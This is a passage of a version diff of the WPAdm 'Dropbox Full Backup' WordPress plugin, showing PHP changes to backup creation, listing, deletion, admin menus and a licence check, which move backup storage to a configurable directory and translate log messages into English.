548
+ 'full_backup_dropbox', WPAdm_Core::$pl_dir) ;
549
+ if (WPAdm_Core::$cron === false) {
550
+ $result_send = $backup->getResult()->toArray();
551
+ if ($result_send['result'] == 'error') {
552
+ $res = array();
553
+ $res['error'] = $result_send['error'];
554
+ $res['result'] = 'error';
555
+ @rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
556
+ }
557
+ WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$res['name']}");
558
+ } else {
559
+ set_transient('running_command', 'send-to-dropbox', 0);
560
+ $res['result'] = 'work';
561
+ $res['error'] = '';
562
+ $res['data'] = array();
563
+ $res['size'] = 0;
564
+ }
565
+ if (file_exists(WPAdm_Core::getTmpDir() . "/create-backup")) {
566
+ @unlink( WPAdm_Core::getTmpDir() . "/create-backup" );
567
+ }
568
+ }
569
+ } else {
570
+ $res['result'] = 'error';
571
+ $res['error'] = str_replace(array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP), __('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".','dropbox-backup') );
572
+ $res['data'] = array();
573
+ $res['size'] = 0;
574
+ }
575
+ @session_start();
576
+ echo json_encode($res);
577
+ wp_die();
578
+ }
579
+ public static function getNameProject()
580
+ {
581
+ $folder_project = str_ireplace( array("http://", "https://"), '', home_url() );
582
+ $folder_project = str_ireplace( array( "-", '/', '.'), '_', $folder_project );
583
+ return $folder_project;
584
+ }
585
+
586
+
587
+ public static function wpadm_show_backup()
588
+ {
589
+
590
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
591
+ parent::$type = 'full';
592
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
593
+ if ($dropbox_options) {
594
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
595
+ if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['auth_token_secret'])) {
596
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
597
+ $folder_project = self::getNameProject();
598
+ $backups = $dropbox->listing($folder_project);
599
+ $n = count($backups['items']);
600
+ $data['data'] = array();
601
+ for($i = 0; $i < $n; $i++) {
602
+ $backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']);
603
+ $data['data'][$i]['name'] = $backups['items'][$i]['name'];
604
+ $data['data'][$i]['size'] = (float)$backup['size'] * 1024 * 1024;
605
+ $data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
606
+ $data['data'][$i]['count'] = count($backup['items']);
607
+ $data['data'][$i]['type'] = 'dropbox';
608
+ $k = $data['data'][$i]['count'];
609
+ $data['data'][$i]['files'] = '[';
610
+ for($j = 0; $j < $k; $j++) {
611
+ $data['data'][$i]['files'] .= $backup['items'][$j]['name'] . ',';
612
+ }
613
+ }
614
+ }
615
+ }
616
+ if (isset($_GET['pay']) && $_GET['pay'] == 'success') {
617
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
618
+ file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
619
+ parent::setMessage( '' );
620
+ }
621
+ }
622
+ if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {
623
+ parent::setError( __('Checkout was canceled','dropbox-backup') );
624
+ }
625
+ $data_local = parent::read_backups();
626
+ if (isset($data['data'])) {
627
+ $data['data'] = array_merge($data_local['data'], $data['data']);
628
+ $data['md5'] = md5( print_r( $data['data'] , 1 ) );
629
+ } else {
630
+ $data = $data_local;
631
+ }
632
+ if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
633
+ $plugin_info = get_plugins("/" . parent::$plugin_name);
634
+ $plugin_version = (isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '');
635
+ $data_server = parent::sendToServer(
636
+ array(
637
+ 'actApi' => "proBackupCheck",
638
+ 'site' => home_url(),
639
+ 'email' => get_option('admin_email'),
640
+ 'plugin' => parent::$plugin_name,
641
+ 'key' => '',
642
+ 'plugin_version' => $plugin_version
643
+ )
644
+ );
645
+ if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
646
+ update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
647
+ if (isset($data_server['url']) && !empty($data_server['url'])) {
648
+ parent::setMessage( str_replace('&s', $data_server['url'], __('The "Dropbox backup & restore PRO" version can be downloaded here <a href="&s">download</a>','dropbox-backup') ) );
649
+ }
650
+ }
651
+ }
652
+ if ( ! function_exists( 'get_plugins' ) ) {
653
+ require_once ABSPATH . 'wp-admin/includes/plugin.php';
654
+ }
655
+ $stars5 = file_exists( WPAdm_Core::getTmpDir() . "/notice-star");
656
+ $plugin_data = array_values( get_plugins('/dropbox-backup') );
657
+ $is_runnig = WPAdm_Running::is_running();
658
+ $show = !get_option('wpadm_pub_key') && is_super_admin();
659
+ $error = parent::getError(true);
660
+ $msg = parent::getMessage(true);
661
+ $base_path = DRBBACKUP_BASE_DIR ;
662
+ ob_start();
663
+ require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
664
+ echo ob_get_clean();
665
+ }
666
+
667
+
668
+ public static function draw_menu()
669
+ {
670
+ $show = true;
671
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
672
+ if ($dropbox_options) {
673
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
674
+ }
675
+ if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
676
+ if (!is_admin() || !is_super_admin()) {
677
+ $show = false;
678
+ }
679
+ }
680
+ if ($show) {
681
+ $menu_position = '1.9998887771';
682
+ if(self::checkInstallWpadmPlugins()) {
683
+ $page = add_menu_page(
684
+ 'WPAdm',
685
+ 'WPAdm',
686
+ "read",
687
+ 'wpadm_plugins',
688
+ 'wpadm_plugins',
689
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ )),
690
+ $menu_position
691
+ );
692
+ add_submenu_page(
693
+ 'wpadm_plugins',
694
+ "Dropbox Full Backup",
695
+ "Dropbox Full Backup",
696
+ 'read',
697
+ 'wpadm_wp_full_backup_dropbox',
698
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup')
699
+ );
700
+ } else {
701
+ $page = add_menu_page(
702
+ 'Dropbox Full Backup',
703
+ 'Dropbox Full Backup',
704
+ "read",
705
+ 'wpadm_wp_full_backup_dropbox',
706
+ array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup'),
707
+ plugins_url('/img/wpadm-logo.png', dirname( __FILE__ ) ),
708
+ $menu_position
709
+ );
710
+
711
+ add_submenu_page(
712
+ 'wpadm_wp_full_backup_dropbox',
713
+ "WPAdm",
714
+ "WPAdm",
715
+ 'read',
716
+ 'wpadm_plugins',
717
+ 'wpadm_plugins'
718
+ );
719
+ }
720
+
721
+ }
722
+ }
723
+ public static function notice()
724
+ {
725
+ if (!isset($_GET['page']) || ( isset($_GET['page']) && $_GET['page'] != 'wpadm_wp_full_backup_dropbox' ) ) {
726
+ $notice_file = DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice.php";
727
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/notice") && file_exists($notice_file)) {
728
+ ob_start();
729
+ include_once $notice_file;
730
+ echo ob_get_clean();
731
+ }
732
+ }
733
+ }
734
+ public static function hide_notice()
735
+ {
736
+ if (isset($_GET['type'])) {
737
+ switch($_GET['type']) {
738
+ case 'preview' :
739
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice", 1);
740
+ break;
741
+ case 'star' :
742
+ if (isset($_GET['hide']) && $_GET['hide'] == '1d') {
743
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", time() . '_w');
744
+ } elseif ( ( isset($_GET['hide']) && $_GET['hide'] == 'week' ) || !isset($_GET['hide']) ) {
745
+ file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", 0);
746
+ }
747
+ break;
748
+ }
749
+ }
750
+ header('location:' . $_SERVER['HTTP_REFERER']);
751
+ exit;
752
+ }
753
+ }
754
+ }
755
+
756
+ ?>
methods/class-wpadm-method-backup-delete.php CHANGED
@@ -1,28 +1,28 @@
1
- <?php
2
- /**
3
- * Delete backup
4
- * Class WPAdm_Method_Backup_Delete
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
- class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = realpath(ABSPATH . '/wpadm_backups/' . $this->params['name']);
11
- if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'wpadm_backups' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
- $this->result->setError('Wrong name backup');
14
- } else {
15
- if (is_dir($backups_dir)) {
16
- WPAdm_Core::rmdir($backups_dir);
17
- if (!is_dir($backups_dir)) {
18
- $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
- } else {
20
- $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
- $this->result->setError('Failed to remove backup');
22
- }
23
- }
24
- }
25
- return $this->result;
26
- }
27
- }
28
  }
1
+ <?php
2
+ /**
3
+ * Delete backup
4
+ * Class WPAdm_Method_Backup_Delete
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_Delete')) {
7
+ class WPAdm_Method_Backup_Delete extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = realpath(DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name']);
11
+ if(strpos($backups_dir, DIRECTORY_SEPARATOR . 'DROPBOX_BACKUP_DIR_NAME' . DIRECTORY_SEPARATOR) === false || !is_dir($backups_dir)) {
12
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
13
+ $this->result->setError('Wrong name backup');
14
+ } else {
15
+ if (is_dir($backups_dir)) {
16
+ WPAdm_Core::rmdir($backups_dir);
17
+ if (!is_dir($backups_dir)) {
18
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_SUCCESS;
19
+ } else {
20
+ $this->result->setResult = WPAdm_result::WPADM_RESULT_ERROR;
21
+ $this->result->setError('Failed to remove backup');
22
+ }
23
+ }
24
+ }
25
+ return $this->result;
26
+ }
27
+ }
28
  }
methods/class-wpadm-method-backup-list.php CHANGED
@@ -1,45 +1,45 @@
1
- <?php
2
- /**
3
- * Return a list of backups
4
- * Class WPAdm_Method_Exec
5
- */
6
- if (!class_exists('WPAdm_Method_Backup_List')) {
7
- class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
- public function getResult()
9
- {
10
- $backups_dir = ABSPATH . '/wpadm_backups/';
11
- $dirs = glob($backups_dir . '*');
12
-
13
- $backups = array();
14
- foreach($dirs as $dir) {
15
- if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
- $tmp = explode('/', $dir);
17
- $name = array_pop($tmp);
18
- list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
- $dt = "$y-$m-$d $h:$i";
20
- $backup = array(
21
- 'name' => $name,
22
- 'type' => $mm[2],
23
- 'dt' => $dt,
24
- );
25
- $files = glob($dir . '/*.zip');
26
- $size = 0;
27
- foreach($files as $k=>$v) {
28
- $size += (int)filesize($v);
29
- $files[$k] = str_replace(ABSPATH, '', $v);
30
- }
31
- $backup['files'] = $files;
32
- $backup['size'] = $size;
33
- if ($size > 0) {
34
- $backups[] = $backup;
35
- }
36
-
37
- }
38
- }
39
- $this->result->setData($backups);
40
- $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
- return $this->result;
42
- }
43
-
44
- }
45
  }
1
+ <?php
2
+ /**
3
+ * Return a list of backups
4
+ * Class WPAdm_Method_Exec
5
+ */
6
+ if (!class_exists('WPAdm_Method_Backup_List')) {
7
+ class WPAdm_Method_Backup_List extends WPAdm_Method_Class {
8
+ public function getResult()
9
+ {
10
+ $backups_dir = DROPBOX_BACKUP_DIR_BACKUP . '/';
11
+ $dirs = glob($backups_dir . '*');
12
+
13
+ $backups = array();
14
+ foreach($dirs as $dir) {
15
+ if (preg_match("|(.*)\-(.*)\-(.*)|", $dir, $mm)) {
16
+ $tmp = explode('/', $dir);
17
+ $name = array_pop($tmp);
18
+ list($y,$m,$d, $h,$i) = explode('_', $mm[3]);
19
+ $dt = "$y-$m-$d $h:$i";
20
+ $backup = array(
21
+ 'name' => $name,
22
+ 'type' => $mm[2],
23
+ 'dt' => $dt,
24
+ );
25
+ $files = glob($dir . '/*.zip');
26
+ $size = 0;
27
+ foreach($files as $k=>$v) {
28
+ $size += (int)filesize($v);
29
+ $files[$k] = str_replace(ABSPATH, '', $v);
30
+ }
31
+ $backup['files'] = $files;
32
+ $backup['size'] = $size;
33
+ if ($size > 0) {
34
+ $backups[] = $backup;
35
+ }
36
+
37
+ }
38
+ }
39
+ $this->result->setData($backups);
40
+ $this->result->setResult(WPAdm_result::WPADM_RESULT_SUCCESS);
41
+ return $this->result;
42
+ }
43
+
44
+ }
45
  }
methods/class-wpadm-method-backup.php CHANGED
@@ -1,451 +1,407 @@
1
- <?php
2
- /**
3
- * Бэкап сайта
4
- * Class WPadm_Method_Backup
5
- */
6
- if (!class_exists('WPadm_Method_Backup')) {
7
- class WPadm_Method_Backup extends WPAdm_Method_Class {
8
- /**
9
- * Уникальный идентификатор текущего объекта
10
- * @var String
11
- */
12
- private $id;
13
-
14
- /**
15
- * Unixtimestamp, когда был запущен метод
16
- * @var Int
17
- */
18
- private $stime;
19
-
20
- /**
21
- * @var WPAdm_Queue
22
- */
23
- private $queue;
24
-
25
- /**
26
- * @var string
27
- */
28
- private $dir;
29
-
30
- /**
31
- * @var string
32
- */
33
- private $tmp_dir;
34
-
35
- /**
36
- * Тип бэкапа
37
- * @var string [full|db]
38
- */
39
- private $type = 'full';
40
-
41
- private $name = '';
42
-
43
- public function __construct($params) {
44
- parent::__construct($params);
45
- $this->init(
46
- array(
47
- 'id' => uniqid('wpadm_method_backup__'),
48
- 'stime' => time(),
49
- 'type' => $params['type'],
50
- )
51
- );
52
-
53
-
54
- //папка для временных файлов
55
- // $this->tmp_dir = WPAdm_Core::getTmpDir() . '/' . $this->id;
56
- // WPAdm_Core::mkdir($this->tmp_dir);
57
-
58
- $name = get_option('siteurl');
59
-
60
- $name = str_replace("http://", '', $name);
61
- $name = str_replace("https://", '', $name);
62
- $name = preg_replace("|\W|", "_", $name);
63
- $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
64
- $this->name = $name;
65
-
66
- // папка для бэкапа
67
- $this->dir = ABSPATH . '/wpadm_backups/' . $this->name;
68
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backups/');
69
- WPAdm_Core::mkdir($this->dir);
70
- }
71
-
72
- public function getResult()
73
- {
74
- $errors = array();
75
-
76
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
77
- $this->result->setError('');
78
-
79
-
80
- #ОТЛАДКА, нужно удалить
81
- //todo: удалить
82
- unlink(dirname(__FILE__) . '/../tmp/log.log');
83
- #конец отладки
84
-
85
- WPAdm_Core::log('Начинаем бэкап');
86
-
87
- # СОЗДАДИМ ДАМП БД
88
- WPAdm_Core::log('Начинаем создание дампа БД');
89
- // добавим в очередь создание бэкапа БД и выполним
90
- WPAdm_Core::mkdir(ABSPATH . '/wpadm_backup');
91
- $mysql_dump_file = ABSPATH . '/wpadm_backup/mysqldump.sql';
92
- if (file_exists($mysql_dump_file)) {
93
- unlink($mysql_dump_file);
94
- }
95
- $wp_mysql_params = $this->getWpMysqlParams();
96
-
97
- if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
98
- WPAdm_Core::log('Оптимизцация таблиц БД');
99
- $commandContext = new WPAdm_Command_Context();
100
- $commandContext ->addParam('command','mysqloptimize')
101
- ->addParam('host', $wp_mysql_params['host'])
102
- ->addParam('db', $wp_mysql_params['db'])
103
- ->addParam('user', $wp_mysql_params['user'])
104
- ->addParam('password', $wp_mysql_params['password']);
105
- $this->queue->clear()
106
- ->add($commandContext);
107
- unset($commandContext);
108
- }
109
-
110
- $commandContext = new WPAdm_Command_Context();
111
- $commandContext ->addParam('command','mysqldump')
112
- ->addParam('host', $wp_mysql_params['host'])
113
- ->addParam('db', $wp_mysql_params['db'])
114
- ->addParam('user', $wp_mysql_params['user'])
115
- ->addParam('password', $wp_mysql_params['password'])
116
- ->addParam('tables', '')
117
- ->addParam('to_file', $mysql_dump_file);
118
- $res = $this->queue->add($commandContext)
119
- ->save()
120
- ->execute();
121
-
122
- if (!$res) {
123
- WPAdm_Core::log('Дамп БД не создан('.$this->queue->getError().')');
124
- $errors[] = 'MySQL error: '.$this->queue->getError();
125
- } elseif (0 == (int)filesize($mysql_dump_file)) {
126
- $errors[] = 'MySQL error: empty dump-file';
127
- WPAdm_Core::log('Дамп БД не создан(пустой файл)');
128
- } else {
129
- WPAdm_Core::log('Дамп БД создан('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
130
- }
131
- unset($commandContext);
132
-
133
-
134
- #ЗАРХИВИРУЕМ ФАЙЛЫ
135
- WPAdm_Core::log('Начинаем подготовку списка файлов');
136
- // список файлов для архивации
137
- if ($this->type == 'full') {
138
- $files = $this->createListFilesForArchive();
139
- } else {
140
- $files = array();
141
- }
142
- if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
143
- $files[] = $mysql_dump_file;
144
- }
145
-
146
- if (empty($files)) {
147
- $errors[] = 'Empty list files';
148
- }
149
-
150
- // разабьем список файлов на списки по 170кбайт,
151
- // чтобы разбить одну большую задачу на маленькие
152
- $files2 = array();
153
- $files2[0] = array();
154
- $i = 0;
155
- $size = 0;
156
- foreach($files as $f) {
157
- if ($size > 170000) {//~170kbyte
158
- $i ++;
159
- $size = 0;
160
- $files2[$i] = array();
161
- }
162
- $f_size =(int)filesize($f);
163
- if ($f_size == 0 || $f_size > 1000000) {
164
- WPAdm_Core::log('file '. $f .' size ' . $f_size);
165
- }
166
- $size += $f_size;
167
- $files2[$i][] = $f;
168
- }
169
-
170
- WPAdm_Core::log('Список файлов подготовлен');
171
- // подготовим очередь к выполнению
172
- $this->queue->clear();
173
-
174
- foreach($files2 as $files) {
175
- $commandContext = new WPAdm_Command_Context();
176
- $commandContext ->addParam('command','archive')
177
- ->addParam('files', $files)
178
- ->addParam('to_file', $this->dir . '/'.$this->name)
179
- ->addParam('max_file_size', 900000)
180
- ->addParam('remove_path', ABSPATH);
181
-
182
- $this->queue->add($commandContext);
183
- unset($commandContext);
184
- }
185
- WPAdm_Core::log('Начинаем архивацию файлов');
186
- // сохраним и выполним
187
- $this->queue->save()
188
- ->execute();
189
- WPAdm_Core::log('Закочили архивацию файлов');
190
-
191
- $files = glob($this->dir . '/'.$this->name . '*');
192
- $urls = array();
193
- foreach($files as $file) {
194
- $urls[] = str_replace(ABSPATH, '', $file);
195
- }
196
- $this->result->setData($urls);
197
-
198
-
199
- # КОПИРОВАНИЕ ФАЙЛОВ НА FTP
200
- if (isset($this->params['storage']) && $this->params['storage']['type'] == 'ftp') {
201
- WPAdm_Core::log('Начинаем копирование файлов на FTP');
202
- $this->queue->clear();
203
- $files = glob($this->dir . '/'.$this->name . '*');
204
- //$this->getResult()->setData($files);
205
- $ad = $this->params['storage']['access_details'];
206
- $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
207
- $dir = trim($dir, '/') . '/' . $this->name;
208
- foreach($files as $file) {
209
- $commandContext = new WPAdm_Command_Context();
210
- $commandContext ->addParam('command','send_to_ftp')
211
- ->addParam('file', $file)
212
- ->addParam('host', $ad['host'])
213
- ->addParam('port', (isset($ad['port']))? $ad['port'] : 21)
214
- ->addParam('user', $ad['user'])
215
- ->addParam('password', $ad['password'])
216
- ->addParam('dir', $dir)
217
- ->addParam('http_host', isset($ad['http_host']) ? $ad['http_host'] : '');
218
- $this->queue->add($commandContext);
219
- unset($commandContext);
220
- }
221
- $res = $this->queue->save()
222
- ->execute();
223
- if (!$res) {
224
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
225
- $errors[] = 'FTP: '.$this->queue->getError();
226
- }
227
- WPAdm_Core::log('Закончили копирование файлов на FTP');
228
- if (isset($this->params['storage']['remove_from_server']) && $this->params['storage']['remove_from_server'] == 1 ) {
229
- // удаляем файлы на сервере
230
- WPAdm_Core::log('Удаляем бэкап на сервере');
231
- WPAdm_Core::rmdir($this->dir);
232
- }
233
- }
234
-
235
- #УДАЛЕНИЕ TMP-ФАЙЛОВ
236
- //todo: УДАЛЕНИЕ TMP-ФАЙЛОВ
237
- WPAdm_Core::rmdir(ABSPATH.'/wpadm_backup');
238
-
239
- #УДАЛЕНИЕ СТАРЫХ АРХИВОВ(те что не влазят в лимит)
240
- //todo: не правмльно удаляет, если есть ооба типа бэкапа
241
- WPAdm_Core::log('Начинаем удалять старые архивы');
242
- if ($this->params['limit'] != 0) {
243
- $files = glob(ABSPATH . '/wpadm_backups/*');
244
- if (count($files) > $this->params['limit']) {
245
- $files2 = array();
246
- foreach($files as $f) {
247
- $fa = explode('-', $f);
248
- if (count($fa) != 3) {
249
- continue;
250
- }
251
- $files2[$fa[2]] = $f;
252
-
253
- }
254
- ksort($files2);
255
- $d = count($files2) - $this->params['limit'];
256
- $del = array_slice($files2, 0, $d);
257
- foreach($del as $d) {
258
- WPAdm_Core::rmdir($d);
259
- }
260
- }
261
- }
262
- WPAdm_Core::log('Закончили удалять старые архивы');
263
-
264
- WPAdm_Core::log('Бэкап завершен');
265
-
266
- if (!empty($errors)) {
267
- $this->result->setError(implode("\n", $errors));
268
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
269
- }
270
-
271
- return $this->result;
272
-
273
-
274
- }
275
-
276
-
277
-
278
- public function createListFilesForArchive() {
279
- $folders = array();
280
- $files = array();
281
-
282
- $files = array_merge(
283
- $files,
284
- array(
285
- ABSPATH .'/.htaccess',
286
- ABSPATH .'/index.php',
287
- ABSPATH .'/license.txt',
288
- ABSPATH .'/readme.html',
289
- ABSPATH .'/wp-activate.php',
290
- ABSPATH .'/wp-blog-header.php',
291
- ABSPATH .'/wp-comments-post.php',
292
- ABSPATH .'/wp-config.php',
293
- ABSPATH .'/wp-config-sample.php',
294
- ABSPATH .'/wp-cron.php',
295
- ABSPATH .'/wp-links-opml.php',
296
- ABSPATH .'/wp-load.php',
297
- ABSPATH .'/wp-login.php',
298
- ABSPATH .'/wp-mail.php',
299
- ABSPATH .'/wp-settings.php',
300
- ABSPATH .'/wp-signup.php',
301
- ABSPATH .'/wp-trackback.php',
302
- ABSPATH .'/xmlrpc.php',
303
- )
304
- );
305
-
306
- if (!empty($this->params['minus-path'])) {
307
- foreach($files as $k=>$v) {
308
- $v = str_replace(ABSPATH .'/' , '', $v);
309
- if (in_array($v, $this->params['minus-path'])) {
310
- unset($files[$k]);
311
- WPAdm_Core::log('Пропускаем файл ' . $v);
312
- }
313
- }
314
- }
315
-
316
- $folders = array_merge(
317
- $folders,
318
- array(
319
- ABSPATH .'/wp-admin',
320
- ABSPATH .'/wp-content',
321
- ABSPATH .'/wp-includes',
322
- )
323
- );
324
-
325
- foreach($this->params['plus-path'] as $p) {
326
- if (empty($p)) {
327
- continue;
328
- }
329
- $p = ABSPATH .'/' . $p;
330
- if (file_exists($p)) {
331
- if (is_dir($p)) {
332
- $folders[] = $p;
333
- } else{
334
- $files[] = $p;
335
- }
336
- }
337
- }
338
-
339
- $folders = array_unique($folders);
340
- $files = array_unique($files);
341
-
342
- foreach($folders as $folder) {
343
- if (!is_dir($folder)) {
344
- continue;
345
- }
346
- $files = array_merge($files, $this->directoryToArray($folder, true));
347
- }
348
- return $files;
349
- }
350
-
351
-
352
- private function directoryToArray($directory, $recursive) {
353
- $array_items = array();
354
-
355
- $d = str_replace(ABSPATH . '/', '', $directory);
356
- // пропускаем ненужные директории
357
-
358
- if (
359
- in_array($d, $this->params['minus-path'])
360
- ) {
361
- WPAdm_Core::log('Пропускаем папку ' . $directory);
362
- return array();
363
- }
364
-
365
- $d = str_replace('\\', '/', $d);
366
- $tmp = explode('/', $d);
367
- $d1 = mb_strtolower($tmp[0]);
368
- unset($tmp[0]);
369
- $d2 = mb_strtolower(implode('/', $tmp));
370
- // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
371
- // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
372
- // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
373
- if (strpos($d2, 'cache') !== false
374
- && !in_array($tmp[0], array('plugins', 'themes'))
375
- ) {
376
- WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
377
- return array();
378
- }
379
-
380
- if ($handle = opendir($directory)) {
381
- while (false !== ($file = readdir($handle))) {
382
- if ($file != "." && $file != "..") {
383
- if (is_dir($directory. "/" . $file)) {
384
- if($recursive) {
385
- $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
386
- }
387
-
388
- $file = $directory . "/" . $file;
389
- if (!is_dir($file)) {
390
- $ff = preg_replace("/\/\//si", "/", $file);
391
- $f = str_replace(ABSPATH . '/', '', $ff);
392
- // пропускаем ненужные директории
393
- if (!in_array($f, $this->params['minus-path'])) {
394
- $array_items[] = $ff;
395
- } else {
396
- WPAdm_Core::log('Пропускаем файл ' . $ff);
397
- }
398
- }
399
- } else {
400
- $file = $directory . "/" . $file;
401
- if (!is_dir($file)) {
402
- $ff = preg_replace("/\/\//si", "/", $file);
403
- $f = str_replace(ABSPATH . '/', '', $ff);
404
- // пропускаем ненужные директории
405
- if (!in_array($f, $this->params['minus-path'])) {
406
- $array_items[] = $ff;
407
- } else {
408
- WPAdm_Core::log('Пропускаем файл ' . $ff);
409
- }
410
- }
411
- }
412
- }
413
- }
414
- closedir($handle);
415
- }
416
- return $array_items;
417
- }
418
-
419
-
420
- /*
421
- * Берем реквизиты доступа к MySQL из параметров WP
422
- * return Array()
423
- */
424
- private function getWpMysqlParams()
425
- {
426
- $db_params = array(
427
- 'password' => 'DB_PASSWORD',
428
- 'db' => 'DB_NAME',
429
- 'user' => 'DB_USER',
430
- 'host' => 'DB_HOST',
431
- );
432
-
433
- $r = "/define\('(.*)', '(.*)'\)/";
434
- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
435
- $params = array_combine($m[1], $m[2]);
436
- foreach($db_params as $k=>$p) {
437
- $db_params[$k] = $params[$p];
438
- }
439
- return $db_params;
440
- }
441
-
442
-
443
- private function init(array $conf) {
444
- //todo: нормализация
445
- $this->id = $conf['id'];
446
- $this->stime = $conf['stime'];
447
- $this->queue = new WPAdm_Queue($this->id);
448
- $this->type = $conf['type'];
449
- }
450
- }
451
  }
1
+ <?php
2
+ /**
3
+ * Бэкап сайта
4
+ * Class WPadm_Method_Backup
5
+ */
6
+ if (!class_exists('WPadm_Method_Backup')) {
7
+ class WPadm_Method_Backup extends WPAdm_Method_Class {
8
+ /**
9
+ * Уникальный идентификатор текущего объекта
10
+ * @var String
11
+ */
12
+ private $id;
13
+
14
+ /**
15
+ * Unixtimestamp, когда был запущен метод
16
+ * @var Int
17
+ */
18
+ private $stime;
19
+
20
+ /**
21
+ * @var WPAdm_Queue
22
+ */
23
+ private $queue;
24
+
25
+ /**
26
+ * @var string
27
+ */
28
+ private $dir;
29
+
30
+ /**
31
+ * @var string
32
+ */
33
+ private $tmp_dir;
34
+
35
+ /**
36
+ * Тип бэкапа
37
+ * @var string [full|db]
38
+ */
39
+ private $type = 'full';
40
+
41
+ private $name = '';
42
+
43
+ public function __construct($params) {
44
+ parent::__construct($params);
45
+ $this->init(
46
+ array(
47
+ 'id' => uniqid('wpadm_method_backup__'),
48
+ 'stime' => time(),
49
+ 'type' => $params['type'],
50
+ )
51
+ );
52
+
53
+ $name = get_option('siteurl');
54
+
55
+ $name = str_replace("http://", '', $name);
56
+ $name = str_replace("https://", '', $name);
57
+ $name = preg_replace("|\W|", "_", $name);
58
+ $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
59
+ $this->name = $name;
60
+
61
+ // папка для бэкапа
62
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
+ }
74
+
75
+ public function getResult()
76
+ {
77
+ $errors = array();
78
+
79
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
+ $this->result->setError('');
81
+
82
+ @unlink(dirname(__FILE__) . '/../tmp/log.log');
83
+
84
+ WPAdm_Core::log('Start backup create');
85
+ WPAdm_Core::log('Create dump Data Base');
86
+
87
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
88
+ if (file_exists($mysql_dump_file)) {
89
+ unlink($mysql_dump_file);
90
+ }
91
+ $wp_mysql_params = $this->getWpMysqlParams();
92
+
93
+ if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
94
